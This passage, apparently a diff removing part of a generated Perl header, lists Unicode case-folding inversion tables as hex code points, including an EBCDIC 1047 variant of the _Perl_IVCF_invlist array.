0, - 0x3EA, - 0, - 0x3EC, - 0, - 0x3EE, - 0, - 0x3F9, - 0x37F, - 0, - 0x3F7, - 0, - 0x3FA, - 0, - 0x410, - IVCF_use_AUX_TABLE_19, - 0x413, - IVCF_use_AUX_TABLE_20, - 0x415, - IVCF_use_AUX_TABLE_21, - 0x41F, - IVCF_use_AUX_TABLE_22, - IVCF_use_AUX_TABLE_23, - 0x423, - IVCF_use_AUX_TABLE_24, - 0x42B, - 0x400, - 0, - 0x460, - 0, - IVCF_use_AUX_TABLE_25, - 0, - 0x464, - 0, - 0x466, - 0, - 0x468, - 0, - 0x46A, - 0, - 0x46C, - 0, - 0x46E, - 0, - 0x470, - 0, - 0x472, - 0, - 0x474, - 0, - 0x476, - 0, - 0x478, - 0, - 0x47A, - 0, - 0x47C, - 0, - 0x47E, - 0, - 0x480, - 0, - 0x48A, - 0, - 0x48C, - 0, - 0x48E, - 0, - 0x490, - 0, - 0x492, - 0, - 0x494, - 0, - 0x496, - 0, - 0x498, - 0, - 0x49A, - 0, - 0x49C, - 0, - 0x49E, - 0, - 0x4A0, - 0, - 0x4A2, - 0, - 0x4A4, - 0, - 0x4A6, - 0, - 0x4A8, - 0, - 0x4AA, - 0, - 0x4AC, - 0, - 0x4AE, - 0, - 0x4B0, - 0, - 0x4B2, - 0, - 0x4B4, - 0, - 0x4B6, - 0, - 0x4B8, - 0, - 0x4BA, - 0, - 0x4BC, - 0, - 0x4BE, - 0, - 0x4C1, - 0, - 0x4C3, - 0, - 0x4C5, - 0, - 0x4C7, - 0, - 0x4C9, - 0, - 0x4CB, - 0, - 0x4CD, - 0x4C0, - 0, - 0x4D0, - 0, - 0x4D2, - 0, - 0x4D4, - 0, - 0x4D6, - 0, - 0x4D8, - 0, - 0x4DA, - 0, - 0x4DC, - 0, - 0x4DE, - 0, - 0x4E0, - 0, - 0x4E2, - 0, - 0x4E4, - 0, - 0x4E6, - 0, - 0x4E8, - 0, - 0x4EA, - 0, - 0x4EC, - 0, - 0x4EE, - 0, - 0x4F0, - 0, - 0x4F2, - 0, - 0x4F4, - 0, - 0x4F6, - 0, - 0x4F8, - 0, - 0x4FA, - 0, - 0x4FC, - 0, - 0x4FE, - 0, - 0x500, - 0, - 0x502, - 0, - 0x504, - 0, - 0x506, - 0, - 0x508, - 0, - 0x50A, - 0, - 0x50C, - 0, - 0x50E, - 0, - 0x510, - 0, - 0x512, - 0, - 0x514, - 0, - 0x516, - 0, - 0x518, - 0, - 0x51A, - 0, - 0x51C, - 0, - 0x51E, - 0, - 0x520, - 0, - 0x522, - 0, - 0x524, - 0, - 0x526, - 0, - 0x528, - 0, - 0x52A, - 0, - 0x52C, - 0, - 0x52E, - 0, - 0x531, - 0, - 0xAB70, - 0x13F8, - 0, - 0xA77D, - 0, - 0x2C63, - 0, - 0x1E00, - 0, - 0x1E02, - 0, - 0x1E04, - 0, - 0x1E06, - 0, - 0x1E08, - 0, - 0x1E0A, - 0, - 0x1E0C, - 0, - 0x1E0E, - 0, - 0x1E10, - 0, - 0x1E12, - 0, - 0x1E14, - 0, - 0x1E16, - 0, - 0x1E18, - 0, - 0x1E1A, - 0, - 0x1E1C, - 0, - 0x1E1E, - 0, - 0x1E20, - 0, - 0x1E22, - 0, - 0x1E24, - 0, - 0x1E26, - 0, - 0x1E28, - 0, - 0x1E2A, - 0, - 0x1E2C, - 0, - 0x1E2E, - 0, - 0x1E30, - 0, - 0x1E32, - 0, - 0x1E34, - 0, - 0x1E36, - 0, - 0x1E38, - 0, - 0x1E3A, - 0, - 0x1E3C, - 0, - 0x1E3E, - 0, - 0x1E40, - 0, - 0x1E42, - 0, - 0x1E44, - 0, - 0x1E46, - 0, - 0x1E48, - 0, - 0x1E4A, - 0, - 0x1E4C, - 0, - 0x1E4E, - 0, - 0x1E50, - 0, - 0x1E52, - 0, - 0x1E54, - 0, - 0x1E56, - 0, - 0x1E58, - 0, - 0x1E5A, - 0, - 0x1E5C, - 0, - 0x1E5E, - 0, - IVCF_use_AUX_TABLE_26, - 0, - 0x1E62, - 0, - 0x1E64, - 0, - 0x1E66, - 0, - 0x1E68, - 0, - 0x1E6A, - 0, - 0x1E6C, - 0, - 0x1E6E, - 0, - 0x1E70, - 0, - 0x1E72, - 0, - 0x1E74, - 0, - 0x1E76, - 0, - 0x1E78, - 0, - 0x1E7A, - 0, - 0x1E7C, - 0, - 0x1E7E, - 0, - 0x1E80, - 0, - 0x1E82, - 0, - 0x1E84, - 0, - 0x1E86, - 0, - 0x1E88, - 0, - 0x1E8A, - 0, - 0x1E8C, - 0, - 0x1E8E, - 0, - 0x1E90, - 0, - 0x1E92, - 0, - 0x1E94, - 0, - 0xDF, - 0, - 0x1EA0, - 0, - 0x1EA2, - 0, - 0x1EA4, - 0, - 0x1EA6, - 0, - 0x1EA8, - 0, - 0x1EAA, - 0, - 0x1EAC, - 0, - 0x1EAE, - 0, - 0x1EB0, - 0, - 0x1EB2, - 0, - 0x1EB4, - 0, - 0x1EB6, - 0, - 0x1EB8, - 0, - 0x1EBA, - 0, - 0x1EBC, - 0, - 0x1EBE, - 0, - 0x1EC0, - 0, - 0x1EC2, - 0, - 0x1EC4, - 0, - 0x1EC6, - 0, - 0x1EC8, - 0, - 0x1ECA, - 0, - 0x1ECC, - 0, - 0x1ECE, - 0, - 0x1ED0, - 0, - 0x1ED2, - 0, - 0x1ED4, - 0, - 0x1ED6, - 0, - 0x1ED8, - 0, - 0x1EDA, - 0, - 0x1EDC, - 0, - 0x1EDE, - 0, - 0x1EE0, - 0, - 0x1EE2, - 0, - 0x1EE4, - 0, - 0x1EE6, - 0, - 0x1EE8, - 0, - 0x1EEA, - 0, - 0x1EEC, - 0, - 0x1EEE, - 0, - 0x1EF0, - 0, - 0x1EF2, - 0, - 0x1EF4, - 0, - 0x1EF6, - 0, - 0x1EF8, - 0, - 0x1EFA, - 0, - 0x1EFC, - 0, - 0x1EFE, - 0x1F08, - 0, - 0x1F18, - 0, - 0x1F28, - 0, - 0x1F38, - 0, - 0x1F48, - 0, - 0x1F59, - 0, - 0x1F5B, - 0, - 0x1F5D, - 0, - 0x1F5F, - 0, - 0x1F68, - 0, - 0x1FBA, - 0x1FC8, - 0x1FDA, - 0x1FF8, - 0x1FEA, - 0x1FFA, - 0, - 0x1F88, - 0x1F80, - 0x1F98, - 0x1F90, - 0x1FA8, - 0x1FA0, - 0x1FB8, - 0, - 0x1FBC, - 0, - 0x1FB3, - 0, - 0x1FCC, - 0, - 0x1FC3, - 0, - 0x1FD8, - 0, - 0x390, - 0, - 0x1FE8, - 0, - 0x3B0, - 0, - 0x1FEC, - 0, - 0x1FFC, - 0, - 0x1FF3, - 0, - 0x2132, - 0, - 0x2160, - 0, - 0x2183, - 0, - 0x24B6, - 0, - 0x2C00, - 0, - 0x2C60, - 0, - 0x23A, - 0x23E, - 0, - 0x2C67, - 0, - 0x2C69, - 0, - 0x2C6B, - 0, - 0x2C72, - 0, - 0x2C75, - 0, - 0x2C80, - 0, - 0x2C82, - 0, - 0x2C84, - 0, - 0x2C86, - 0, - 0x2C88, - 0, - 0x2C8A, - 0, - 0x2C8C, - 0, - 0x2C8E, - 0, - 0x2C90, - 0, - 0x2C92, - 0, - 0x2C94, - 0, - 0x2C96, - 0, - 0x2C98, - 0, - 0x2C9A, - 0, - 0x2C9C, - 0, - 0x2C9E, - 0, - 0x2CA0, - 0, - 0x2CA2, - 0, - 0x2CA4, - 0, - 0x2CA6, - 0, - 0x2CA8, - 0, - 0x2CAA, - 0, - 0x2CAC, - 0, - 0x2CAE, - 0, - 0x2CB0, - 0, - 0x2CB2, - 0, - 0x2CB4, - 0, - 0x2CB6, - 0, - 0x2CB8, - 0, - 0x2CBA, - 0, - 0x2CBC, - 0, - 0x2CBE, - 0, - 0x2CC0, - 0, - 0x2CC2, - 0, - 0x2CC4, - 0, - 0x2CC6, - 0, - 0x2CC8, - 0, - 0x2CCA, - 0, - 0x2CCC, - 0, - 0x2CCE, - 0, - 0x2CD0, - 0, - 0x2CD2, - 0, - 0x2CD4, - 0, - 0x2CD6, - 0, - 0x2CD8, - 0, - 0x2CDA, - 0, - 0x2CDC, - 0, - 0x2CDE, - 0, - 0x2CE0, - 0, - 0x2CE2, - 0, - 0x2CEB, - 0, - 0x2CED, - 0, - 0x2CF2, - 0, - 0x10A0, - 0, - 0x10C7, - 0, - 0x10CD, - 0, - 0xA640, - 0, - 0xA642, - 0, - 0xA644, - 0, - 0xA646, - 0, - 0xA648, - 0, - IVCF_use_AUX_TABLE_27, - 0, - 0xA64C, - 0, - 0xA64E, - 0, - 0xA650, - 0, - 0xA652, - 0, - 0xA654, - 0, - 0xA656, - 0, - 0xA658, - 0, - 0xA65A, - 0, - 0xA65C, - 0, - 0xA65E, - 0, - 0xA660, - 0, - 0xA662, - 0, - 0xA664, - 0, - 0xA666, - 0, - 0xA668, - 0, - 0xA66A, - 0, - 0xA66C, - 0, - 0xA680, - 0, - 0xA682, - 0, - 0xA684, - 0, - 0xA686, - 0, - 0xA688, - 0, - 0xA68A, - 0, - 0xA68C, - 0, - 0xA68E, - 0, - 0xA690, - 0, - 0xA692, - 0, - 0xA694, - 0, - 0xA696, - 0, - 0xA698, - 0, - 0xA69A, - 0, - 0xA722, - 0, - 0xA724, - 0, - 0xA726, - 0, - 0xA728, - 0, - 0xA72A, - 0, - 0xA72C, - 0, - 0xA72E, - 0, - 0xA732, - 0, - 0xA734, - 0, - 0xA736, - 0, - 0xA738, - 0, - 0xA73A, - 0, - 0xA73C, - 0, - 0xA73E, - 0, - 0xA740, - 0, - 0xA742, - 0, - 0xA744, - 0, - 0xA746, - 0, - 0xA748, - 0, - 0xA74A, - 0, - 0xA74C, - 0, - 0xA74E, - 0, - 0xA750, - 0, - 0xA752, - 0, - 0xA754, - 0, - 0xA756, - 0, - 0xA758, - 0, - 0xA75A, - 0, - 0xA75C, - 0, - 0xA75E, - 0, - 0xA760, - 0, - 0xA762, - 0, - 0xA764, - 0, - 0xA766, - 0, - 0xA768, - 0, - 0xA76A, - 0, - 0xA76C, - 0, - 0xA76E, - 0, - 0xA779, - 0, - 0xA77B, - 0, - 0xA77E, - 0, - 0xA780, - 0, - 0xA782, - 0, - 0xA784, - 0, - 0xA786, - 0, - 0xA78B, - 0, - 0xA790, - 0, - 0xA792, - 0, - 0xA796, - 0, - 0xA798, - 0, - 0xA79A, - 0, - 0xA79C, - 0, - 0xA79E, - 0, - 0xA7A0, - 0, - 0xA7A2, - 0, - 0xA7A4, - 0, - 0xA7A6, - 0, - 0xA7A8, - 0, - 0xA7B4, - 0, - 0xA7B6, - 0, - 0xA7B3, - 0, - 0xFB06, - 0xFB05, - 0, - 0xFF21, - 0, - 0x10400, - 0, - 0x104B0, - 0, - 0x10C80, - 0, - 0x118A0, - 0, - 0x1E900 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_IVCF_invlist[] = { /* for EBCDIC 1047 */ - 1303, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x47, - 0x48, - 0x4A, - 0x51, - 0x59, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8D, - 0x8F, - 0x91, - 0x92, - 0x93, - 0x9A, - 0x9C, - 0x9D, - 0xA2, - 0xA3, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xDF, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x138, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x149, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x17F, - 0x180, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18D, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19A, - 0x19B, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BA, - 0x1BD, - 0x1BE, - 0x1BF, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DD, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F0, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x234, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x250, - 0x251, - 0x252, - 0x253, - 0x254, - 0x255, - 0x256, - 0x258, - 0x259, - 0x25A, - 0x25B, - 0x25C, - 0x25D, - 0x260, - 0x261, - 0x262, - 0x263, - 0x264, - 0x265, - 0x266, - 0x267, - 0x268, - 0x269, - 0x26A, - 0x26B, - 0x26C, - 0x26D, - 0x26F, - 0x270, - 0x271, - 0x272, - 0x273, - 0x275, - 0x276, - 0x27D, - 0x27E, - 0x280, - 0x281, - 0x283, - 0x284, - 0x287, - 0x288, - 0x289, - 0x28A, - 0x28C, - 0x28D, - 0x292, - 0x293, - 0x29D, - 0x29E, - 0x29F, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3AD, - 0x3B0, - 0x3B1, - 0x3B2, - 0x3B3, - 0x3B5, - 0x3B6, - 0x3B8, - 0x3B9, - 0x3BA, - 0x3BB, - 0x3BC, - 0x3BD, - 0x3C0, - 0x3C1, - 0x3C2, - 0x3C3, - 0x3C4, - 0x3C6, - 0x3C7, - 0x3C9, - 0x3CA, - 0x3CC, - 0x3CD, - 0x3CF, - 0x3D7, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F0, - 0x3F2, - 0x3F3, - 0x3F4, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FC, - 0x430, - 0x432, - 0x433, - 0x434, - 0x435, - 0x43E, - 0x43F, - 0x441, - 0x442, - 0x443, - 0x44A, - 0x44B, - 0x450, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4CF, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x587, - 0x13A0, - 0x13F0, - 0x13F6, - 0x1D79, - 0x1D7A, - 0x1D7D, - 0x1D7E, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E96, - 0x1E9E, - 0x1E9F, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F00, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F51, - 0x1F52, - 0x1F53, - 0x1F54, - 0x1F55, - 0x1F56, - 0x1F57, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F72, - 0x1F76, - 0x1F78, - 0x1F7A, - 0x1F7C, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB2, - 0x1FB3, - 0x1FB4, - 0x1FBC, - 0x1FBD, - 0x1FC3, - 0x1FC4, - 0x1FCC, - 0x1FCD, - 0x1FD0, - 0x1FD2, - 0x1FD3, - 0x1FD4, - 0x1FE0, - 0x1FE2, - 0x1FE3, - 0x1FE4, - 0x1FE5, - 0x1FE6, - 0x1FF3, - 0x1FF4, - 0x1FFC, - 0x1FFD, - 0x214E, - 0x214F, - 0x2170, - 0x2180, - 0x2184, - 0x2185, - 0x24D0, - 0x24EA, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C66, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C73, - 0x2C74, - 0x2C76, - 0x2C77, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE4, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA730, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 